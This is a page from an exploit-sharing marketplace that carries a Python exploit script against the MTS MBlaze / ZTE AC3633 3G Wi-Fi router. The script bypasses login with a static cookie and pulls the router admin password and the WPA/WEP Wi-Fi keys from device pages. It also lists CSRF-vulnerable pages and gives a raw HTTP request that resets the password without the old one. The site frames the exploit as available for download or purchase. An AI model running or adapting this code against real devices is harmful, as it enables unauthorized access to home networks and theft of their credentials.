0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MTS MBlaze Ultra Wi-Fi / ZTE AC3633 - Multiple Vulnerabilities
[#Author: Ajin Abraham - xboz
#http://opensecurity.in
#Product MTS MBlaze 3G Wi-Fi Modem
#System Version 107
#Manufacturer ZTE
#Model AC3633
import requests
import os
import urllib2
print "MTS MBlaze Ultra Wi-Fi / ZTE AC3633 Exploit"
print "Vulnerabilities"
print "Login Bypass | Router Credential Stealing | Wi-Fi Password Stealing | CSRF | Reset Password without old password and Session\n"
url='http://192.168.1.1'
def find_between( s, first, last ):
try:
start = s.index( first ) + len( first )
end = s.index( last, start )
return s[start:end]
except ValueError:
return ""
#Vulnerable Static Cookies
cookies = dict(iusername='logined')
#Login Bypass
login_url = url+'/en/index.asp'
print "\nAttempting Login :"+url
print '================='
try:
response=urllib2.urlopen(url,timeout=1)
except:
print "Cannot Reach : "+url
exit
r = requests.get(login_url, cookies=cookies)
print 'Status : ' + str(r.status_code)
if "3g.asp" in r.text:
print "Login Sucessfull!"
#Information Gathering
print "\nInformation"
print "========="
info_url=url+'/en/3g.asp'
i= requests.get(info_url, cookies=cookies)
ip=find_between(i.text,'"g3_ip" disabled="disabled" style="background:#ccc;" size="16" maxlength="15" value="','"></td>')
subnet =find_between(i.text,'"g3_mask" disabled="disabled" style="background:#ccc;" size="16" maxlength="15" value="','"></td>')
gateway=find_between(i.text,'"g3_gw" disabled="disabled" style="background:#ccc;" size="16" maxlength="15" value="','"></td>')
print "IP : " +ip
print "Subnet : "+subnet
print "Gateway : " +gateway
#Steal Login Password
print "\nStealing Router Login Credentials"
print "======================"
login_pwd_url=url+'/en/password.asp'
p = requests.get(login_pwd_url, cookies=cookies)
print 'Status : ' + str(p.status_code)
print 'Username : admin' #default
passwd=find_between(p.text,'id="sys_password" value="','"/>')
print 'Password : '+ passwd
print '\nExtracting WPA/WPA2 PSK Key'
print '================='
#Wi-Fi Password Extraction
wifi_pass_url=url+'/en/wifi_security.asp'
s = requests.get(wifi_pass_url, cookies=cookies)
print 'Status: ' + str(s.status_code)
wpa=find_between(s.text,"wpa_psk_key]').val('","');")
wep=find_between(s.text,"wep_key]').val('","');")
print "WPA/WPA2 PSK : " + wpa
print "WEP Key : " + wep
print "\nOther Vulnerabilities"
print "======================="
print "\n1.Cross Site Request Forgery in:\n\nhttp://192.168.1.1/en/dhcp_reservation.asp\nhttp://192.168.1.1/en/mac_filter.asp \nhttp://192.168.1.1/en/password.asp"
print "\n2.Password Reset without old password and Session"
print """
POST /goform/formSyWebCfg HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.1/en/password.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,ms;q=0.4
Content-Length: 52
action=Apply&sys_cfg=changed&sys_password=mblazetestpassword
"""
# 0day.today [2024-12-25] #